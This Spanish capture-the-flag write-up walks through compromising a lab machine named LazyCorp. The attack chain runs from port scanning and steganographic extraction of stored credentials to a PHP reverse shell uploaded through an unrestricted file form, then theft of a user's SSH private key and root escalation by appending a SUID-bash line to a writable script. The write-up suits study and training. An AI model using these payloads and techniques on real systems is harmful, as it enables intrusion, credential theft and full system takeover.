Enumeración y recuperación de credenciales
Enumeramos puertos:
❯ nmap -sCV -p 21,22,80 -oN 02-targeted.txt 172.24.125.220
...
21/tcp open ftp vsftpd 3.0.5
|_drwxr-xr-x 2 114 119 4096 Jul 16 12:35 pub
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: LazyCorp | Empowering Devs
| http-robots.txt: 2 disallowed entries
|_/cms-admin.php /auth-LazyCorp-dev/
...El FTP anónimo permite descargar note.jpg. stegseek detecta contenido incrustado sin passphrase y extrae creds.txt, que contiene credenciales para la aplicación web:
❯ stegseek -wl ~/Documents/wordlists/rockyou.txt note.jpg
[i] Found passphrase: ""
[i] Original filename: "creds.txt".
❯ cat note.jpg.out
Username: dev
Password: d3v3l0pm3nt!nt3rnAcceso inicial mediante Unrestricted File Upload
robots.txt revela /auth-LazyCorp-dev/, accesible en minúsculas. Las credenciales extraídas permiten entrar en login.php y alcanzar un formulario de subida. La aplicación acepta PHP dentro del directorio servido por Apache, por lo que el Unrestricted File Upload permite convertir el archivo cargado en ejecución de comandos:
❯ cat pwned.php
<?php
shell_exec("bash -c 'bash -i >& /dev/tcp/172.24.125.35/1234 0>&1'");
?>Solicitamos el archivo desde /auth-lazycorp-dev/uploads/pwned.php; Apache interpreta el PHP y recibimos la conexión como www-data:
❯ ncat -nlvp 1234
Ncat: Connection from 172.24.125.220:46838.
www-data@arvindlazycorp:/var/www/html/auth-lazycorp-dev/uploads$Desde esa cuenta podemos leer la clave privada SSH de arvind. La copiamos a nuestra máquina y la utilizamos para iniciar una sesión con su identidad:
www-data@arvindlazycorp:/home/arvind/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...
❯ ssh arvind@172.24.125.220 -i id_rsa_arvind
arvind@arvindlazycorp:~$Escalada mediante un script privilegiado escribible
Después de obtener la primera flag, encontramos el binario SUID reset. El análisis muestra que fija su UID en 0 y ejecuta /usr/bin/reset_site.sh, así que cualquier instrucción añadida al script heredará el contexto privilegiado del binario:
undefined8 main(void)
{
setuid(0);
system("/usr/bin/reset_site.sh");
return 0;
}El script pertenece a root, pero el grupo de arvind tiene escritura. Esta combinación de SUID Binary Abuse y Writable Privileged Executable File permite añadir un chmod u+s /bin/bash y activar el cambio ejecutando reset:
arvind@arvindlazycorp:~$ ls -l /usr/bin/reset_site.sh
-rwxrwxr-x 1 root arvind 254 Jul 9 10:26 /usr/bin/reset_site.sh
arvind@arvindlazycorp:~$ echo 'chmod u+s /bin/bash' >> /usr/bin/reset_site.sh
arvind@arvindlazycorp:~$ ./reset
[*] Resetting website from backup...
[+] Done resetting.
arvind@arvindlazycorp:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
arvind@arvindlazycorp:~$ bash -p
bash-5.0# whoami
rootLa salida de whoami confirma que bash -p conserva los privilegios de root.
Fin.